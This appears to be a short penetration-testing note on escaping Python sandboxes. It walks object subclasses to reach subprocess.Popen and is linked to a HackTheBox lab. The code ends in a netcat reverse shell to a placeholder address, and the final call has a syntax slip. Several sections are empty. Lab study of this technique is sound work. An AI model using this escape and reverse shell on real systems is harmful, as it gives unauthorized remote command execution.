# **Basic Information**
# **Accessing Subclasses with Bypasses**
```python
# enumerate subclasses loaded in memory
classes = [].__class__.__base__.__subclasses__()
# list subclasses with index
for index, value in enumerate(classes):
print(f"Index: {index}, Value: {value}")
# once a module of interest has been identified, reference its index to call it
# in this case, subprocess.Popen has an index of 317
rce = [].__class__.__base__.__subclasses__()[317]
rce.("busybox nc X.X.X.X -e sh", shell=True)
```
# **References**
# **Practical Application**
| Platform | Name | Notes |
| --------------- | -------- | ----- |
| HackTheBox Labs | [[Code]] | |